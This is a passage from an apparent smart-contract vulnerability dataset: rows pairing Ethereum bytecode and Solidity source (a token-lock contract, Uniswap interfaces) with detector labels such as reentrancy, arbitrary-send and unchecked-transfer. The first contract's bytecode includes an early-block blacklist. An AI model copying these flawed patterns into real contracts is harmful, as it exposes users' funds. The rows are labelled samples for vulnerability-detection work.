b4b9061376e565b60005b818110156118f6576001600e60008585858181106119a7576119a76138cb565b90506020020160208101906119bc9190613499565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556119ed816138e1565b9050611987565b6000546001600160a01b03163314611a1e5760405162461bcd60e51b8152600401610b4b9061376e565b8082601154611a2d91906138ac565b611a37919061395f565b6025555050565b606060158054610a9e90613733565b6000546001600160a01b03163314611a775760405162461bcd60e51b8152600401610b4b9061376e565b601783905560198290556018819055601a849055602284905560218190556020829055601f839055611aad816117298585612199565b602381905560225460c891611ac191612199565b1115610eb95760405162461bcd60e51b815260206004820152602360248201527f746f74616c20627579206665652063616e74206265206d6f7265207468616e2060448201526232302560e81b6064820152608401610b4b565b6000610b883384610d8085604051806060016040528060258152602001613aae602591393360009081526007602090815260408083206001600160a01b038d168452909152902054919061283f565b6000610b8833848461231c565b6000546001600160a01b03163314611ba15760405162461bcd60e51b8152600401610b4b9061376e565b600380546001600160a01b039384166001600160a01b03199182161790915560048054929093169116179055565b6000546001600160a01b03163314611bf95760405162461bcd60e51b8152600401610b4b9061376e565b6001600160a01b03166000908152600b60205260409020805460ff19169055565b6000546001600160a01b03163314611c445760405162461bcd60e51b8152600401610b4b9061376e565b60008190506000816001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015611c8457600080fd5b505afa158015611c98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cbc9190613981565b6001600160a01b031663e6a4390530846001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d0457600080fd5b505afa158015611d18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d3c9190613981565b6040516001600160e01b031960e085901b1681526001600160a01b0392831660048201529116602482015260440160206040518083038186803b158015611d8257600080fd5b505afa158015611d96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dba9190613981565b90506001600160a01b038116611f6057816001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015611e0357600080fd5b505afa158015611e17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e3b9190613981565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e8357600080fd5b505afa158015611e97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ebb9190613981565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015611f0357600080fd5b505af1158015611f17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f3b9190613981565b602780546001600160a01b0319166001600160a01b0392909216919091179055611f7c565b602780546001600160a01b0319166001600160a01b0383161790555b50602680546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314611fca5760405162461bcd60e51b8152600401610b4b9061376e565b6001600160a01b03166000908152600b60205260409020805460ff19166001179055565b6000546001600160a01b031633146120185760405162461bcd60e51b8152600401610b4b9061376e565b6001600160a01b03811661207d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b4b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610fc783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061292d565b60008261212957506000610b8c565b600061213583856138ac565b905082612142858361395f565b14610fc75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610b4b565b6000806121a6838561399e565b905083811015610fc75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610b4b565b6001600160a01b03831661225a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b4b565b6001600160a01b0382166122bb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b4b565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166123805760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610b4b565b6001600160a01b0382166123e25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610b4b565b600081116124445760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610b4b565b6001600160a01b03831660009081526008602052604090205460ff16156124ad5760405162461bcd60e51b815260206004820152601760248201527f596f752068617665206e6f20706f7765722068657265210000000000000000006044820152606401610b4b565b6000546001600160a01b038481169116148015906124d957506000546001600160a01b03838116911614155b1561253757602754600160a81b900460ff166125375760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610b4b565b6027546000906001600160a01b038581169116148061256357506027546001600160a01b038481169116145b80156125ab57506001600160a01b0384166000908152600b602052604090205460ff16806125a957506001600160a01b0383166000908152600b602052604090205460ff165b155b156125b4575060015b6000600a541180156125f857506001600160a01b0383166000908152600c602052604090205460ff161580156125f857506000546001600160a01b03858116911614155b8015612613575043600954600a54612610919061399e565b11155b156126875760165461262484611789565b61262e908461399e565b11156126875760405162461bcd60e51b815260206004820152602260248201527f546f74616c20486f6c64696e672069732063757272656e746c79206c696d6974604482015261195960f21b6064820152608401610b4b565b602354602455601a54602255602754600160a81b900460ff1680156126b957506027546001600160a01b038481169116145b156126e5576126db601d54611729601c54601b5461219990919063ffffffff16565b602455601e546022555b6000600a54118015612705575043600954600a54612703919061399e565b115b1561272e576001600160a01b0383166000908152600860205260409020805460ff191660011790555b6000600a5411801561274e57506000546001600160a01b03858116911614155b80156127695750600954600a54612765919061399e565b4310155b801561277e5750602754600160b81b900460ff165b1561278a576103846024555b602754600160b01b900460ff16156127cd57602754600160a81b900460ff1680156127c257506027546001600160a01b038581169116145b156127cd5760006024555b602754600160a01b900460ff161580156127f05750602754600160a81b900460ff165b801561280957506027546001600160a01b038481169116145b1561283357600061281930611789565b9050602554811061283157506025546128318161295b565b505b610eb984848484612a7f565b600081848411156128635760405162461bcd60e51b8152600401610b4b91906133e7565b5060006128708486613932565b95945050505050565b6000806000612886612bab565b909250905061289582826120d8565b9250505090565b60008060008060008060008060006128b38a612d2d565b92509250925060008060006128d18d86866128cc612879565b612d6f565b919f909e50909c50959a5093985091965092945050505050565b6000610fc783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061283f565b6000818361294e5760405162461bcd60e51b8152600401610b4b91906133e7565b506000612870848661395f565b6027805460ff60a01b1916600160a01b179055602354601f5460009161298b91600291611256918290879061211a565b9050600061299983836128eb565b90506129a481612dbf565b601f5447906000906129c4906129bb9060026120d8565b602354906128eb565b905060006129e6600261125684611256601f548861211a90919063ffffffff16565b90506000612a03836112566021548761211a90919063ffffffff16565b90506000612a20846112566020548861211a90919063ffffffff16565b9050478015612a5757600354612a409083906001600160a01b0316612f61565b600454612a579084906001600160a01b0316612f61565b8715612a6757612a678885612f97565b50506027805460ff60a01b1916905550505050505050565b60225460245482612a9557600060228190556024555b6001600160a01b0386166000908152600d602052604090205460ff168015612ad657506001600160a01b0385166000908152600d602052604090205460ff16155b15612aeb57612ae686868661307b565b612b97565b6001600160a01b0386166000908152600d602052604090205460ff16158015612b2c57506001600160a01b0385166000908152600d602052604090205460ff165b15612b3c57612ae68686866131a1565b6001600160a01b0386166000908152600d602052604090205460ff168015612b7c57506001600160a01b0385166000908152600d602052604090205460ff165b15612b8c57612ae686868661324a565b612b978686866132bd565b82610d1e5760229190915560245550505050565b6012546011546000918291825b600f54811015612cfd578260056000600f8481548110612bda57612bda6138cb565b60009182526020808320909101546001600160a01b031683528201929092526040019020541180612c4557508160066000600f8481548110612c1e57612c1e6138cb565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15612c5b57601254601154945094505050509091565b612ca160056000600f8481548110612c7557612c756138cb565b60009182526020808320909101546001600160a01b0316835282019290925260400190205484906128eb565b9250612ce960066000600f8481548110612cbd57612cbd6138cb565b60009182526020808320909101546001600160a01b0316835282019290925260400190205483906128eb565b915080612cf5816138e1565b915050612bb8565b50601154601254612d0d916120d8565b821015612d24576012546011549350935050509091565b90939092509050565b600080600080612d3c85613301565b90506000612d498661331e565b90506000612d6182612d5b89866128eb565b906128eb565b979296509094509092505050565b6000808080612d7e888661211a565b90506000612d8c888761211a565b90506000612d9a888861211a565b90506000612dac82612d5b86866128eb565b939b939a50919850919650505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612df457612df46138cb565b6001600160a01b03928316602091820292909201810191909152602654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015612e4857600080fd5b505afa158015612e5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e809190613981565b81600181518110612e9357612e936138cb565b6001600160a01b039283166020918202929092010152602654612eb991309116846121f8565b60265460405163791ac94760e01b81526001600160a01b039091169063791ac94790612ef29085906000908690309042906004016139fa565b600060405180830381600087803b158015612f0c57600080fd5b505af1158015612f20573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612f55929190613a36565b60405180910390a15050565b6040516001600160a01b0382169083156108fc029084906000818181858888f193505050501580156118f6573d6000803e3d6000fd5b602654612faf9030906001600160a01b0316846121f8565b6026546001600160a01b031663f305d719823085600080612fd86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561303b57600080fd5b505af115801561304f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906130749190613a57565b5050505050565b60008060008060008061308d8761289c565b6001600160a01b038f16600090815260066020526040902054959b509399509197509550935091506130bf90886128eb565b6001600160a01b038a166000908152600660209081526040808320939093556005905220546130ee90876128eb565b6001600160a01b03808b1660009081526005602052604080822093909355908a168152205461311d9086612199565b6001600160a01b03891660009081526005602052604090205561313f8161333b565b61314984836133c3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161318e91815260200190565b60405180910390a3505050505050505050565b6000806000806000806131b38761289c565b6001600160a01b038f16600090815260056020526040902054959b509399509197509550935091506131e590876128eb565b6001600160a01b03808b16600090815260056020908152604080832094909455918b1681526006909152205461321b9084612199565b6001600160a01b03891660009081526006602090815260408083209390935560059052205461311d9086612199565b60008060008060008061325c8761289c565b6001600160a01b038f16600090815260066020526040902054959b5093995091975095509350915061328e90886128eb565b6001600160a01b038a166000908152600660209081526040808320939093556005905220546131e590876128eb565b6000806000806000806132cf8761289c565b6001600160a01b038f16600090815260056020526040902054959b509399509197509550935091506130ee90876128eb565b6000610b8c6103e86112566022548561211a90919063ffffffff16565b6000610b8c6103e86112566024548561211a90919063ffffffff16565b6000613345612879565b90506000613353838361211a565b306000908152600560205260409020549091506133709082612199565b30600090815260056020908152604080832093909355600d9052205460ff16156118f657306000908152600660205260409020546133ae9084612199565b30600090815260066020526040902055505050565b6012546133d090836128eb565b6012556013546133e09082612199565b6013555050565b600060208083528351808285015260005b81811015613414578581018301518582016040015282016133f8565b81811115613426576000604083870101525b50601f01601f1916929092016040019392505050565b60006020828403121561344e57600080fd5b5035919050565b6001600160a01b038116811461346a57600080fd5b50565b6000806040838503121561348057600080fd5b823561348b81613455565b946020939093013593505050565b6000602082840312156134ab57600080fd5b8135610fc781613455565b60008083601f8401126134c857600080fd5b50813567ffffffffffffffff8111156134e057600080fd5b6020830191508360208260051b85010111156134fb57600080fd5b9250929050565b6000806000806060858703121561351857600080fd5b843561352381613455565b9350602085013567ffffffffffffffff81111561353f57600080fd5b61354b878288016134b6565b9598909750949560400135949350505050565b60008060006060848603121561357357600080fd5b833561357e81613455565b9250602084013561358e81613455565b929592945050506040919091013590565b600080604083850312156135b257600080fd5b82356135bd81613455565b915060208301356135cd81613455565b809150509250929050565b801515811461346a57600080fd5b600080604083850312156135f957600080fd5b823561348b816135d8565b6000806040838503121561361757600080fd5b8235915060208301356135cd816135d8565b60006020828403121561363b57600080fd5b8135610fc7816135d8565b60008060006040848603121561365b57600080fd5b833567ffffffffffffffff81111561367257600080fd5b61367e868287016134b6565b9094509250506020840135613692816135d8565b809150509250925092565b600080600080608085870312156136b357600080fd5b5050823594602084013594506040840135936060013592509050565b600080602083850312156136e257600080fd5b823567ffffffffffffffff8111156136f957600080fd5b613705858286016134b6565b90969095509350505050565b6000806040838503121561372457600080fd5b50508035926020909101359150565b600181811c9082168061374757607f821691505b6020821081141561376857634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156137f45781600019048211156137da576137da6137a3565b808516156137e757918102915b93841c93908002906137be565b509250929050565b60008261380b57506001610b8c565b8161381857506000610b8c565b816001811461382e576002811461383857613854565b6001915050610b8c565b60ff841115613849576138496137a3565b50506001821b610b8c565b5060208310610133831016604e8410600b8410161715613877575081810a610b8c565b61388183836137b9565b8060001904821115613895576138956137a3565b029392505050565b6000610fc760ff8416836137fc565b60008160001904831182151516156138c6576138c66137a3565b500290565b634e487b7160e01b600052603260045260246000fd5b60006000198214156138f5576138f56137a3565b5060010190565b60006020828403121561390e57600080fd5b5051919050565b60006020828403121561392757600080fd5b8151610fc7816135d8565b600082821015613944576139446137a3565b500390565b634e487b7160e01b600052603160045260246000fd5b60008261397c57634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561399357600080fd5b8151610fc781613455565b600082198211156139b1576139b16137a3565b500190565b600081518084526020808501945080840160005b838110156139ef5781516001600160a01b0316875295820195908201906001016139ca565b509495945050505050565b85815284602082015260a060408201526000613a1960a08301866139b6565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201526000613a4f60408301846139b6565b949350505050565b600080600060608486031215613a6c57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f0ca67d94343aab6cf8dc207706737c4d3f22fb826f694ee2af7bec93b7cb82064736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
27009,
2620,
2094,
2629,
2050,
2620,
23352,
2050,
2692,
22407,
2683,
2620,
2094,
2581,
29097,
2683,
26224,
16703,
2487,
2050,
27531,
2692,
16703,
22394,
28311,
2475,
3207,
2683,
1013,
1008,
1008,
13109,
23212,
8202,
2290,
1027,
13109,
23212,
1009,
12256,
3995,
9232,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
3477,
3085,
1006,
5796,
2290,
1012,
4604,
2121,
1007,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
1013,
1013,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,528 | 0x954912a50feb08f889385f2d5cbdc60caa12e7a9 | pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30326400;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0xE6a47d32B0593C4653aFb5b262043Cbd19fe3Fb1;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a7230582086aafd89055d70cb07dcc734f544fb52646d57221880d29a921bb616f7d901d60029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
27009,
2683,
12521,
2050,
12376,
7959,
2497,
2692,
2620,
2546,
2620,
2620,
2683,
22025,
2629,
2546,
2475,
2094,
2629,
27421,
16409,
16086,
3540,
27717,
2475,
2063,
2581,
2050,
2683,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2324,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
3647,
18900,
2232,
1008,
1030,
16475,
8785,
3136,
2007,
3808,
14148,
2008,
5466,
2006,
7561,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1037,
1027,
1027,
1014,
1064,
1064,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,529 | 0x954967ee51ca3377f52391c5f6ac832cbb904b29 | // SPDX-License-Identifier: Unlicensed
// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol
pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
